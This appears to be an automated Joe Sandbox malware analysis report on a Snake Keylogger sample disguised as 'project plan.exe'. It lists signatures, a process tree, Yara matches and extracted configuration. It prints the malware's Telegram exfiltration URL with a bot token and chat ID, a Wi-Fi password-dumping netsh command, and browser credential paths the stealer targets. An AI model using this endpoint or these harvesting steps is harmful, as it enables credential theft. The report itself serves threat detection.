Edit tour

Windows Analysis Report
project plan.exe

Overview

General Information

Sample name:	project plan.exe
Analysis ID:	1466687
MD5:	ec263cafbd93faeb218574586bf8e45f
SHA1:	2d37614bb075a8580fc5fe7851dedbc88911944c
SHA256:	7c801923836d6b568d00a338b6bcf41889a7a9150c41a4274c21e50d9eb86f33
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Capture Wi-Fi password

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected UAC Bypass using CMSTP

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses netsh to modify the Windows network and firewall settings

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

One or more processes crash

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

project plan.exe (PID: 1536 cmdline: "C:\Users\user\Desktop\project plan.exe" MD5: EC263CAFBD93FAEB218574586BF8E45F)

conhost.exe (PID: 1568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6132 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

netsh.exe (PID: 3580 cmdline: "netsh" wlan show profile MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 3504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5836 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 4956 cmdline: C:\Windows\system32\WerFault.exe -u -p 1536 -s 1028 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendMessage"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendMessage?chat_id=5361285164"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.3221467298.0000000002D35000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x13d70:$a1: get_encryptedPassword 0x1405c:$a2: get_encryptedUsername 0x13b7c:$a3: get_timePasswordChanged 0x13c77:$a4: get_passwordField 0x13d86:$a5: set_encryptedPassword 0x153af:$a7: get_logins 0x15312:$a10: KeyLoggerEventArgs 0x14f83:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18b42:$x1: $%SMTPDV$ 0x17660:$x2: $#TheHashHere%& 0x18aea:$x3: %FTPDV$ 0x17642:$x4: $%TelegramDv$ 0x14f83:$x5: KeyLoggerEventArgs 0x15312:$x5: KeyLoggerEventArgs 0x18b0e:$m2: Clipboard Logs ID 0x18d16:$m2: Screenshot Logs ID 0x18e26:$m2: keystroke Logs ID 0x1900a:$m3: SnakePW 0x18cee:$m4: \SnakeKeylogger\
00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000003.00000002.3221467298.0000000002E0A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xa92e8:$a1: get_encryptedPassword 0xc9130:$a1: get_encryptedPassword 0xa95d4:$a2: get_encryptedUsername 0xc941c:$a2: get_encryptedUsername 0xa90f4:$a3: get_timePasswordChanged 0xc8f3c:$a3: get_timePasswordChanged 0xa91ef:$a4: get_passwordField 0xc9037:$a4: get_passwordField 0xa92fe:$a5: set_encryptedPassword 0xc9146:$a5: set_encryptedPassword 0xaa927:$a7: get_logins 0xca76f:$a7: get_logins 0xaa88a:$a10: KeyLoggerEventArgs 0xca6d2:$a10: KeyLoggerEventArgs 0xaa4fb:$a11: KeyLoggerEventArgsEventHandler 0xca343:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xae0ba:$x1: $%SMTPDV$ 0xcdf02:$x1: $%SMTPDV$ 0xacbd8:$x2: $#TheHashHere%& 0xcca20:$x2: $#TheHashHere%& 0xae062:$x3: %FTPDV$ 0xcdeaa:$x3: %FTPDV$ 0xacbba:$x4: $%TelegramDv$ 0xcca02:$x4: $%TelegramDv$ 0xaa4fb:$x5: KeyLoggerEventArgs 0xaa88a:$x5: KeyLoggerEventArgs 0xca343:$x5: KeyLoggerEventArgs 0xca6d2:$x5: KeyLoggerEventArgs 0xae086:$m2: Clipboard Logs ID 0xae28e:$m2: Screenshot Logs ID 0xae39e:$m2: keystroke Logs ID 0xcdece:$m2: Clipboard Logs ID 0xce0d6:$m2: Screenshot Logs ID 0xce1e6:$m2: keystroke Logs ID 0xae582:$m3: SnakePW 0xce3ca:$m3: SnakePW 0xae266:$m4: \SnakeKeylogger\
00000003.00000002.3221467298.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: project plan.exe PID: 1536	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: project plan.exe PID: 1536	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: project plan.exe PID: 1536	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: project plan.exe PID: 1536	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: project plan.exe PID: 1536	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: project plan.exe PID: 1536	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2ca62:$a1: get_encryptedPassword 0x2cd44:$a2: get_encryptedUsername 0x2c878:$a3: get_timePasswordChanged 0x2c973:$a4: get_passwordField 0x2ca78:$a5: set_encryptedPassword 0x2ee6f:$a7: get_logins 0x2edd2:$a10: KeyLoggerEventArgs 0x2ea43:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: project plan.exe PID: 1536	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x2ea43:$x5: KeyLoggerEventArgs 0x2edd2:$x5: KeyLoggerEventArgs 0x2f9d3:$x5: KeyLoggerEventArgs 0x2fd2d:$x5: KeyLoggerEventArgs 0x30fa2:$m2: Clipboard Logs ID 0x3108d:$m2: Screenshot Logs ID 0x310e3:$m2: keystroke Logs ID 0x3119d:$m3: SnakePW 0x31079:$m4: \SnakeKeylogger\
Process Memory Space: RegAsm.exe PID: 6132	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6132	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegAsm.exe PID: 6132	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: RegAsm.exe PID: 6132	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xbfef:$a1: get_encryptedPassword 0xc2d1:$a2: get_encryptedUsername 0xbe05:$a3: get_timePasswordChanged 0xbf00:$a4: get_passwordField 0xc005:$a5: set_encryptedPassword 0xe3fc:$a7: get_logins 0xe35f:$a10: KeyLoggerEventArgs 0xdfd0:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegAsm.exe PID: 6132	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xdfd0:$x5: KeyLoggerEventArgs 0xe35f:$x5: KeyLoggerEventArgs 0xef60:$x5: KeyLoggerEventArgs 0xf2ba:$x5: KeyLoggerEventArgs 0x1052f:$m2: Clipboard Logs ID 0x1061a:$m2: Screenshot Logs ID 0x10670:$m2: keystroke Logs ID 0x9bd4:$m3: SnakePW 0x9e51:$m3: SnakePW 0xa05e:$m3: SnakePW 0x1072a:$m3: SnakePW 0x1cc44:$m3: SnakePW 0x3e45f:$m3: SnakePW 0x3ed32:$m3: SnakePW 0x3ef0c:$m3: SnakePW 0x3f1a5:$m3: SnakePW 0x45857:$m3: SnakePW 0x10606:$m4: \SnakeKeylogger\
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.project plan.exe.16766a241c0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.project plan.exe.16766a241c0.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.project plan.exe.16766a241c0.3.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.project plan.exe.16766a241c0.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12170:$a1: get_encryptedPassword 0x1245c:$a2: get_encryptedUsername 0x11f7c:$a3: get_timePasswordChanged 0x12077:$a4: get_passwordField 0x12186:$a5: set_encryptedPassword 0x137af:$a7: get_logins 0x13712:$a10: KeyLoggerEventArgs 0x13383:$a11: KeyLoggerEventArgsEventHandler
0.2.project plan.exe.16766a241c0.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x197bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x189ee:$a3: \Google\Chrome\User Data\Default\Login Data 0x18e21:$a4: \Orbitum\User Data\Default\Login Data 0x19f48:$a5: \Kometa\User Data\Default\Login Data
0.2.project plan.exe.16766a241c0.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x12cfd:$s1: UnHook 0x12d04:$s2: SetHook 0x12d0c:$s3: CallNextHook 0x12d19:$s4: _hook
0.2.project plan.exe.16766a241c0.3.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x16f42:$x1: $%SMTPDV$ 0x15a60:$x2: $#TheHashHere%& 0x16eea:$x3: %FTPDV$ 0x15a42:$x4: $%TelegramDv$ 0x13383:$x5: KeyLoggerEventArgs 0x13712:$x5: KeyLoggerEventArgs 0x16f0e:$m2: Clipboard Logs ID 0x17116:$m2: Screenshot Logs ID 0x17226:$m2: keystroke Logs ID 0x1740a:$m3: SnakePW 0x170ee:$m4: \SnakeKeylogger\
0.2.project plan.exe.16766a04378.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.project plan.exe.16766a04378.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.project plan.exe.16766a04378.1.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.project plan.exe.16766a04378.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12170:$a1: get_encryptedPassword 0x1245c:$a2: get_encryptedUsername 0x11f7c:$a3: get_timePasswordChanged 0x12077:$a4: get_passwordField 0x12186:$a5: set_encryptedPassword 0x137af:$a7: get_logins 0x13712:$a10: KeyLoggerEventArgs 0x13383:$a11: KeyLoggerEventArgsEventHandler
0.2.project plan.exe.16766a04378.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x197bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x189ee:$a3: \Google\Chrome\User Data\Default\Login Data 0x18e21:$a4: \Orbitum\User Data\Default\Login Data 0x19f48:$a5: \Kometa\User Data\Default\Login Data
0.2.project plan.exe.16766a04378.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x12cfd:$s1: UnHook 0x12d04:$s2: SetHook 0x12d0c:$s3: CallNextHook 0x12d19:$s4: _hook
0.2.project plan.exe.16766a04378.1.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x16f42:$x1: $%SMTPDV$ 0x15a60:$x2: $#TheHashHere%& 0x16eea:$x3: %FTPDV$ 0x15a42:$x4: $%TelegramDv$ 0x13383:$x5: KeyLoggerEventArgs 0x13712:$x5: KeyLoggerEventArgs 0x16f0e:$m2: Clipboard Logs ID 0x17116:$m2: Screenshot Logs ID 0x17226:$m2: keystroke Logs ID 0x1740a:$m3: SnakePW 0x170ee:$m4: \SnakeKeylogger\
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
3.2.RegAsm.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x13f70:$a1: get_encryptedPassword 0x1425c:$a2: get_encryptedUsername 0x13d7c:$a3: get_timePasswordChanged 0x13e77:$a4: get_passwordField 0x13f86:$a5: set_encryptedPassword 0x155af:$a7: get_logins 0x15512:$a10: KeyLoggerEventArgs 0x15183:$a11: KeyLoggerEventArgsEventHandler
3.2.RegAsm.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b5bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a7ee:$a3: \Google\Chrome\User Data\Default\Login Data 0x1ac21:$a4: \Orbitum\User Data\Default\Login Data 0x1bd48:$a5: \Kometa\User Data\Default\Login Data
3.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x14afd:$s1: UnHook 0x14b04:$s2: SetHook 0x14b0c:$s3: CallNextHook 0x14b19:$s4: _hook
3.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18d42:$x1: $%SMTPDV$ 0x17860:$x2: $#TheHashHere%& 0x18cea:$x3: %FTPDV$ 0x17842:$x4: $%TelegramDv$ 0x15183:$x5: KeyLoggerEventArgs 0x15512:$x5: KeyLoggerEventArgs 0x18d0e:$m2: Clipboard Logs ID 0x18f16:$m2: Screenshot Logs ID 0x19026:$m2: keystroke Logs ID 0x1920a:$m3: SnakePW 0x18eee:$m4: \SnakeKeylogger\
0.2.project plan.exe.16766a241c0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.project plan.exe.16766a241c0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.project plan.exe.16766a04378.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.project plan.exe.16766a04378.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.project plan.exe.16766a241c0.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.project plan.exe.16766a04378.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.project plan.exe.16766a04378.1.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.project plan.exe.16766a04378.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x13f70:$a1: get_encryptedPassword 0x33db8:$a1: get_encryptedPassword 0x1425c:$a2: get_encryptedUsername 0x340a4:$a2: get_encryptedUsername 0x13d7c:$a3: get_timePasswordChanged 0x33bc4:$a3: get_timePasswordChanged 0x13e77:$a4: get_passwordField 0x33cbf:$a4: get_passwordField 0x13f86:$a5: set_encryptedPassword 0x33dce:$a5: set_encryptedPassword 0x155af:$a7: get_logins 0x353f7:$a7: get_logins 0x15512:$a10: KeyLoggerEventArgs 0x3535a:$a10: KeyLoggerEventArgs 0x15183:$a11: KeyLoggerEventArgsEventHandler 0x34fcb:$a11: KeyLoggerEventArgsEventHandler
0.2.project plan.exe.16766a04378.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b5bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b404:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a7ee:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a636:$a3: \Google\Chrome\User Data\Default\Login Data 0x1ac21:$a4: \Orbitum\User Data\Default\Login Data 0x3aa69:$a4: \Orbitum\User Data\Default\Login Data 0x1bd48:$a5: \Kometa\User Data\Default\Login Data 0x3bb90:$a5: \Kometa\User Data\Default\Login Data
0.2.project plan.exe.16766a241c0.3.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.project plan.exe.16766a04378.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x14afd:$s1: UnHook 0x34945:$s1: UnHook 0x14b04:$s2: SetHook 0x3494c:$s2: SetHook 0x14b0c:$s3: CallNextHook 0x34954:$s3: CallNextHook 0x14b19:$s4: _hook 0x34961:$s4: _hook
0.2.project plan.exe.16766a04378.1.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18d42:$x1: $%SMTPDV$ 0x38b8a:$x1: $%SMTPDV$ 0x17860:$x2: $#TheHashHere%& 0x376a8:$x2: $#TheHashHere%& 0x18cea:$x3: %FTPDV$ 0x38b32:$x3: %FTPDV$ 0x17842:$x4: $%TelegramDv$ 0x3768a:$x4: $%TelegramDv$ 0x15183:$x5: KeyLoggerEventArgs 0x15512:$x5: KeyLoggerEventArgs 0x34fcb:$x5: KeyLoggerEventArgs 0x3535a:$x5: KeyLoggerEventArgs 0x18d0e:$m2: Clipboard Logs ID 0x18f16:$m2: Screenshot Logs ID 0x19026:$m2: keystroke Logs ID 0x38b56:$m2: Clipboard Logs ID 0x38d5e:$m2: Screenshot Logs ID 0x38e6e:$m2: keystroke Logs ID 0x1920a:$m3: SnakePW 0x39052:$m3: SnakePW 0x18eee:$m4: \SnakeKeylogger\
0.2.project plan.exe.16766a241c0.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x13f70:$a1: get_encryptedPassword 0x1425c:$a2: get_encryptedUsername 0x13d7c:$a3: get_timePasswordChanged 0x13e77:$a4: get_passwordField 0x13f86:$a5: set_encryptedPassword 0x155af:$a7: get_logins 0x15512:$a10: KeyLoggerEventArgs 0x15183:$a11: KeyLoggerEventArgsEventHandler
0.2.project plan.exe.16766a241c0.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1b5bc:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1a7ee:$a3: \Google\Chrome\User Data\Default\Login Data 0x1ac21:$a4: \Orbitum\User Data\Default\Login Data 0x1bd48:$a5: \Kometa\User Data\Default\Login Data
0.2.project plan.exe.16766a241c0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x14afd:$s1: UnHook 0x14b04:$s2: SetHook 0x14b0c:$s3: CallNextHook 0x14b19:$s4: _hook
0.2.project plan.exe.16766a241c0.3.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18d42:$x1: $%SMTPDV$ 0x17860:$x2: $#TheHashHere%& 0x18cea:$x3: %FTPDV$ 0x17842:$x4: $%TelegramDv$ 0x15183:$x5: KeyLoggerEventArgs 0x15512:$x5: KeyLoggerEventArgs 0x18d0e:$m2: Clipboard Logs ID 0x18f16:$m2: Screenshot Logs ID 0x19026:$m2: keystroke Logs ID 0x1920a:$m3: SnakePW 0x18eee:$m4: \SnakeKeylogger\
Click to see the 33 entries

Sigma Signatures

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "netsh" wlan show profile, CommandLine: "netsh" wlan show profile, CommandLine|base64offset|contains: V, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ParentProcessId: 6132, ParentProcessName: RegAsm.exe, ProcessCommandLine: "netsh" wlan show profile, ProcessId: 3580, ProcessName: netsh.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendMessage?chat_id=5361285164"}
Source: RegAsm.exe.6132.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendMessage"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: project plan.exe

Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.2169883533.00000167566CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: project plan.exe PID: 1536, type: MEMORYSTR

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49711 version: TLS 1.2

Source: project plan.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: mscorlib.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.ni.pdbRSDS source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Drawing.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Drawing.pdbX source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: mscorlib.ni.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Core.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Windows.Forms.pdb; source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Core.pdbH source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.ni.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERDE5D.tmp.dmp.7.dr
Source:	Binary string: System.Core.ni.pdb source: WERDE5D.tmp.dmp.7.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 00F6A3BFh	3_2_00F6A100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 00F6969Fh	3_2_00F693E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 00F68848h	3_2_00F68430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 00F69AFFh	3_2_00F69841
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 00F69F5Fh	3_2_00F69CA1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 00F678A9h	3_2_00F66DDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 00F6923Fh	3_2_00F68E97
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 00F68109h	3_2_00F67E49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_00F66300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 00F68848h	3_2_00F68429
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 00F68848h	3_2_00F68776
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_00F66933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_00F66B14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06146CE1h	3_2_06146A38
